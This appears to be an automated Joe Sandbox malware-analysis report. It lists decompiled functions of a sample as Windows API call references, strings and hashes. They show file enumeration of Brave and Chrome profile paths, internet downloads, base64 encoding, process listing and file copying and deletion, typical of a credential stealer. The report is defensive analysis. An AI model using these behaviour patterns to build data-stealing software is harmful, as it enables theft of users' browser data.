GetProcAddress.KERNEL32(734C0000,042003C8), ref: 00416790
GetProcAddress.KERNEL32(734C0000,041E41A8), ref: 004167A9
GetProcAddress.KERNEL32(734C0000,042005A8), ref: 004167C1
GetProcAddress.KERNEL32(734C0000,04207360), ref: 004167D9
GetProcAddress.KERNEL32(734C0000,042073D8), ref: 004167F2
GetProcAddress.KERNEL32(734C0000,041E4168), ref: 0041680A
GetProcAddress.KERNEL32(734C0000,041E4148), ref: 00416822
GetProcAddress.KERNEL32(734C0000,042075E8), ref: 0041683B
GetProcAddress.KERNEL32(752C0000,041E40A8), ref: 0041685C
GetProcAddress.KERNEL32(752C0000,041E3EC8), ref: 00416874
GetProcAddress.KERNEL32(752C0000,04207600), ref: 0041688D
GetProcAddress.KERNEL32(752C0000,042073F0), ref: 004168A5
GetProcAddress.KERNEL32(752C0000,041E4188), ref: 004168BD
GetProcAddress.KERNEL32(74EC0000,04200418), ref: 004168E3
GetProcAddress.KERNEL32(74EC0000,04200530), ref: 004168FB
GetProcAddress.KERNEL32(74EC0000,04207450), ref: 00416913
GetProcAddress.KERNEL32(74EC0000,041E3F48), ref: 0041692C
GetProcAddress.KERNEL32(74EC0000,041E4008), ref: 00416944
GetProcAddress.KERNEL32(74EC0000,04200440), ref: 0041695C
GetProcAddress.KERNEL32(75BD0000,04207468), ref: 00416982
GetProcAddress.KERNEL32(75BD0000,041E40C8), ref: 0041699A
GetProcAddress.KERNEL32(75BD0000,042011F0), ref: 004169B2
GetProcAddress.KERNEL32(75BD0000,042074C8), ref: 004169CB
GetProcAddress.KERNEL32(75BD0000,04207480), ref: 004169E3
GetProcAddress.KERNEL32(75BD0000,041E3EA8), ref: 004169FB
GetProcAddress.KERNEL32(75BD0000,041E4108), ref: 00416A14
GetProcAddress.KERNEL32(75BD0000,042074B0), ref: 00416A2C
GetProcAddress.KERNEL32(75BD0000,04207498), ref: 00416A44
GetProcAddress.KERNEL32(75A70000,041E41C8), ref: 00416A66
GetProcAddress.KERNEL32(75A70000,04207768), ref: 00416A7E
GetProcAddress.KERNEL32(75A70000,04207888), ref: 00416A96
GetProcAddress.KERNEL32(75A70000,04207978), ref: 00416AAF
GetProcAddress.KERNEL32(75A70000,042078D0), ref: 00416AC7
GetProcAddress.KERNEL32(75450000,041E4128), ref: 00416AE8
GetProcAddress.KERNEL32(75450000,041E41E8), ref: 00416B01
GetProcAddress.KERNEL32(75DA0000,041E3FA8), ref: 00416B22
GetProcAddress.KERNEL32(75DA0000,042078E8), ref: 00416B3A
GetProcAddress.KERNEL32(6F080000,041E3FE8), ref: 00416B60
GetProcAddress.KERNEL32(6F080000,041E4028), ref: 00416B78
GetProcAddress.KERNEL32(6F080000,04208020), ref: 00416B90
GetProcAddress.KERNEL32(6F080000,04207738), ref: 00416BA9
GetProcAddress.KERNEL32(6F080000,04207FA0), ref: 00416BC1
GetProcAddress.KERNEL32(6F080000,042080C0), ref: 00416BD9
GetProcAddress.KERNEL32(6F080000,04207FC0), ref: 00416BF2
GetProcAddress.KERNEL32(6F080000,042080A0), ref: 00416C0A
GetProcAddress.KERNEL32(75AF0000,04207918), ref: 00416C2B
GetProcAddress.KERNEL32(75AF0000,04201220), ref: 00416C44
GetProcAddress.KERNEL32(75AF0000,042079A8), ref: 00416C5C
GetProcAddress.KERNEL32(75AF0000,04207A08), ref: 00416C74
GetProcAddress.KERNEL32(75D90000,042081A0), ref: 00416C96
GetProcAddress.KERNEL32(6D140000,04207870), ref: 00416CB7
GetProcAddress.KERNEL32(6D140000,042081C0), ref: 00416CCF
GetProcAddress.KERNEL32(6D140000,04207840), ref: 00416CE8
GetProcAddress.KERNEL32(6D140000,04207948), ref: 00416D00

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: ce70c898548f88182f5d017b929846a165f52d01e2510d34cdd7b30da02966dd
Instruction ID: 6fdcbfc83a7e6ced85b92bf4002cf1d70b18d179e1e2f66c0d1faa926a602d30
Opcode Fuzzy Hash: ce70c898548f88182f5d017b929846a165f52d01e2510d34cdd7b30da02966dd
Instruction Fuzzy Hash: 6E623EB5510E10AFC374DFA8FE88A1637ABBBCC311311A519A60AC72A4DF759483CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00411650 Relevance: 44.0, APIs: 20, Strings: 5, Instructions: 237
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00411669
FindFirstFileA.KERNEL32(?,?), ref: 00411680
lstrcat.KERNEL32(?,?), ref: 004116D2
StrCmpCA.SHLWAPI(?,0041D7F8), ref: 004116E4
StrCmpCA.SHLWAPI(?,0041D7FC), ref: 004116FA
FindNextFileA.KERNELBASE(000000FF,?), ref: 00411980
FindClose.KERNEL32(000000FF), ref: 00411995

Strings

%s%s, xrefs: 00411838
%s\%s\%s, xrefs: 004117DB
%s\%s, xrefs: 004117FD
%s\%s, xrefs: 00411714
%s\*, xrefs: 0041165D

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: dc165bfe059858b008f46a8c8689db8cb5fddec1d4dee71b8375d3b2251b46db
Instruction ID: 56f1237c2d7c520c90c98f1ce5fb3a6d9b51b415e2d0c2f733ce4a2014328567
Opcode Fuzzy Hash: dc165bfe059858b008f46a8c8689db8cb5fddec1d4dee71b8375d3b2251b46db
Instruction Fuzzy Hash: AE9172B19006189BDB24EFA4DC85FEA737DBF88300F044589F61A92191DB789AC5CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040B610 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

FindFirstFileA.KERNEL32(00000000,?,0041D71A,0041D717,00000000,?,?,?,0041DB54,0041D716), ref: 0040B695
StrCmpCA.SHLWAPI(?,0041DB58), ref: 0040B6ED
StrCmpCA.SHLWAPI(?,0041DB5C), ref: 0040B703
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040BF3B
FindClose.KERNEL32(000000FF), ref: 0040BF4D

Strings

Preferences, xrefs: 0040B8BE
\Brave\Preferences, xrefs: 0040B97B
Google Chrome, xrefs: 0040BDB9
Brave, xrefs: 0040B8A2

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: e5cae10d02fa7d777ce186465a0be00966abf08ed97bb0f5455a78fc69622242
Instruction ID: 76d401781d3fce7c968e745dc043d6a6225f477281f2400f678919b217ba5a4c
Opcode Fuzzy Hash: e5cae10d02fa7d777ce186465a0be00966abf08ed97bb0f5455a78fc69622242
Instruction Fuzzy Hash: 0F423572A0010457CF14FB61DC56EEE773DAF84304F41455EF90AA6181EE38AB89CBE9

Uniqueness

Uniqueness Score: -1.00%

Function 6C8E35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C96F688,00001000), ref: 6C8E35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C8E35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C8E35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C8E363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C8E369F
__aulldiv.LIBCMT ref: 6C8E36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C8E3773
EnterCriticalSection.KERNEL32(6C96F688), ref: 6C8E377E
LeaveCriticalSection.KERNEL32(6C96F688), ref: 6C8E37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C8E37C4
EnterCriticalSection.KERNEL32(6C96F688), ref: 6C8E37CB
LeaveCriticalSection.KERNEL32(6C96F688), ref: 6C8E3801
__aulldiv.LIBCMT ref: 6C8E3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C8E3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C8E3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C8E394C

Strings

GTC, xrefs: 6C8E3912
GenuntelineI, xrefs: 6C8E3639
QPC, xrefs: 6C8E38FC
MOZ_TIMESTAMP_MODE, xrefs: 6C8E35DB
AuthcAMDenti, xrefs: 6C8E3946

Memory Dump Source

Source File: 00000000.00000002.2266227268.000000006C8E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C8E0000, based on PE: true

Associated: 00000000.00000002.2266187014.000000006C8E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266334227.000000006C95D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266369843.000000006C96E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2266401689.000000006C972000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8e0000_YEnIrzZUUw.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 5a6e87b727a87628286697fe2c44450067e2053c7b9e9dc06c63f11ac675900c
Instruction ID: 3bf9447077d4f670ab860dbbfafae82c71ab3d75f7bc55a4801c2674f223f556
Opcode Fuzzy Hash: 5a6e87b727a87628286697fe2c44450067e2053c7b9e9dc06c63f11ac675900c
Instruction Fuzzy Hash: 1EB1A271B0C3549BEB08DF2AC94462A77F6BB8E704F14892EE899D77A0D7709D008B91

Uniqueness

Uniqueness Score: -1.00%

Function 00412570 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00412589
FindFirstFileA.KERNEL32(?,?), ref: 004125A0
StrCmpCA.SHLWAPI(?,0041D864), ref: 004125CE
StrCmpCA.SHLWAPI(?,0041D868), ref: 004125E4
FindNextFileA.KERNEL32(000000FF,?), ref: 004127B9
FindClose.KERNEL32(000000FF), ref: 004127CE

Strings

%s\*, xrefs: 0041257D
%s\%s, xrefs: 0041264F
%s\%s, xrefs: 004125FE

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 70f66335c68ee9bee9e93ad0ea58b8d0e5d9bc99c8bb7c2902da79831dca3d0c
Instruction ID: 16fd5a9597efbfb91ed0225017393bb16e0f77851f83799e5682f8bc7922baf0
Opcode Fuzzy Hash: 70f66335c68ee9bee9e93ad0ea58b8d0e5d9bc99c8bb7c2902da79831dca3d0c
Instruction Fuzzy Hash: 676156B2900618ABCB24EBE0DD99EEA737DBF58701F00458DB61A96140EF74DB85CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00411B80 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00411B9D
FindFirstFileA.KERNEL32(?,?), ref: 00411BB4
StrCmpCA.SHLWAPI(?,0041D834), ref: 00411BE2
StrCmpCA.SHLWAPI(?,0041D838), ref: 00411BF8
FindNextFileA.KERNEL32(000000FF,?), ref: 00411D3D
FindClose.KERNEL32(000000FF), ref: 00411D52

Strings

%s\%s, xrefs: 00411B91

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 8a2a5c367229f5874a14f57b428850a66a498e63ff653c6488f4aaaa7e785072
Instruction ID: 1beca0db89a34a7d9f561fb59a57ff38f1a0216f2a844ef05cbde65d1a44dc5a
Opcode Fuzzy Hash: 8a2a5c367229f5874a14f57b428850a66a498e63ff653c6488f4aaaa7e785072
Instruction Fuzzy Hash: D75168B5900618ABCB24EBB0DC85EEA737DBB48304F40458DB65A96050EB79ABC5CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00404C70 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00404C8A
RtlAllocateHeap.NTDLL(00000000), ref: 00404C91
InternetOpenA.WININET(0041D79B,00000000,00000000,00000000,00000000), ref: 00404CAA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00404CD1
InternetReadFile.WININET(c.A,?,00000400,00000000), ref: 00404D01
InternetCloseHandle.WININET(c.A), ref: 00404D75
InternetCloseHandle.WININET(?), ref: 00404D82

Strings

c.A, xrefs: 00404D71, 00404CFD, 00404D00, 00404D74
c.A, xrefs: 00404CC1, 00404DA0

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID: c.A$c.A
API String ID: 3066467675-270182787
Opcode ID: ff34e455916cb5254e18773c9340263e729f543755462a643926861e0345f7f7
Instruction ID: 93472a029acc8278824907ab7d145ea178407da7df790c597300061c638fc298
Opcode Fuzzy Hash: ff34e455916cb5254e18773c9340263e729f543755462a643926861e0345f7f7
Instruction Fuzzy Hash: 3731F8F4A00218ABDB20DF54DD85BDDB7B5BB88304F5081D9F709A7280DB746AC58F98

Uniqueness

Uniqueness Score: -1.00%

Function 004015C0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,004215C4,?,00401E03,?,004215C8,?,?,00000000,?,00000000), ref: 00401813
StrCmpCA.SHLWAPI(?,004215CC), ref: 00401863
StrCmpCA.SHLWAPI(?,004215D0), ref: 00401879
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00401C30
DeleteFileA.KERNEL32(00000000), ref: 00401CB4
FindNextFileA.KERNEL32(000000FF,?), ref: 00401D0A
FindClose.KERNEL32(000000FF), ref: 00401D1C

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Strings

\*.*, xrefs: 004016E1

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: d5e21135cb13028b418015c916ecc19e9a267484bd34271ce1c6086416c75736
Instruction ID: 3aa4ae790513c502dab12fd0122e5550b13815c0fff8c800b600eb4522263f51
Opcode Fuzzy Hash: d5e21135cb13028b418015c916ecc19e9a267484bd34271ce1c6086416c75736
Instruction Fuzzy Hash: D41225759102189BCB15FB61DC56EEE7739AF54308F41419EB10A62091EF38AFC9CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040D1C0 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0041DC10,0041D73F), ref: 0040D22B
StrCmpCA.SHLWAPI(?,0041DC14), ref: 0040D273
StrCmpCA.SHLWAPI(?,0041DC18), ref: 0040D289
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040D4EE
FindClose.KERNEL32(000000FF), ref: 0040D500

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 8ca7a1081a3183d5f3e78e003e506f60ba6fc5323407f3e5e8770ee78b196e29
Instruction ID: a7e743a2a4f5118c59e4eb5b7e6cabc454f6fbff0e67e47d23a58287cf68124a
Opcode Fuzzy Hash: 8ca7a1081a3183d5f3e78e003e506f60ba6fc5323407f3e5e8770ee78b196e29
Instruction Fuzzy Hash: 63913B72A0020497CB14FFB1EC569EE777DAB84308F41466EF90A96581EE38D788CBD5

Uniqueness

Uniqueness Score: -1.00%

Function 00414570 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

GetKeyboardLayoutList.USER32(00000000,00000000,0041D146), ref: 0041459E
LocalAlloc.KERNEL32(00000040,?), ref: 004145B6
GetKeyboardLayoutList.USER32(?,00000000), ref: 004145CA
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0041461F
LocalFree.KERNEL32(00000000), ref: 004146DF

Strings

/ , xrefs: 0041463C

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: bd951ed3ca41de19a59e384374789be5e0ff2bd07393f72555197dc2eaeec2a1
Instruction ID: e4a09482d03fe0ac07b2aa12fe49ef9b635f824a972481fa3f662a7a2871ed61
Opcode Fuzzy Hash: bd951ed3ca41de19a59e384374789be5e0ff2bd07393f72555197dc2eaeec2a1
Instruction Fuzzy Hash: D5413B74940218ABCB24DF50DC89BEDB775BB54308F2042DAE10A66191DB786FC5CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0040DB60 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,0041D74E), ref: 0040DBD2
StrCmpCA.SHLWAPI(?,0041DC58), ref: 0040DC22
StrCmpCA.SHLWAPI(?,0041DC5C), ref: 0040DC38
FindNextFileA.KERNEL32(000000FF,?), ref: 0040E306

Strings

\*.*, xrefs: 0040DB7D

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 2b3e849318f8b253a2cdf89d748c6f1cb1b4c0b6f2b72e1768814fbe14752514
Instruction ID: 8f23b39e961a58df861ec407c7814dc8b58ae9c3eb94c511c30fb23e96a564a4
Opcode Fuzzy Hash: 2b3e849318f8b253a2cdf89d748c6f1cb1b4c0b6f2b72e1768814fbe14752514
Instruction Fuzzy Hash: 88126771A002145ACB14FB61DC56EED7739AF54308F4142AEB50A66091EF389FC8CFE8

Uniqueness

Uniqueness Score: -1.00%

Function 004155A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,>N@,40000001,00000000,00000000), ref: 004155C0

Strings

>N@, xrefs: 004155B8, 00415614, 004155BB, 00415617

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID: >N@
API String ID: 80407269-3381801619
Opcode ID: 718bb6be1b75e617e987197471ae693474da6023ddc0167bf927d0320b7ad6f5
Instruction ID: 37622f5e64546725dbf22d4b9568f407ee9b467eb6af981ec2fff7c5b56759cd
Opcode Fuzzy Hash: 718bb6be1b75e617e987197471ae693474da6023ddc0167bf927d0320b7ad6f5
Instruction Fuzzy Hash: 73110D74200A04FFDB10CFA4E844FEB37AABF89310F509549F9098B254D775E881DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00415D00 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00415D1E
Process32First.KERNEL32(0041D599,00000128), ref: 00415D32
Process32Next.KERNEL32(0041D599,00000128), ref: 00415D47
StrCmpCA.SHLWAPI(?,00000000), ref: 00415D5C
CloseHandle.KERNEL32(0041D599), ref: 00415D7A

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
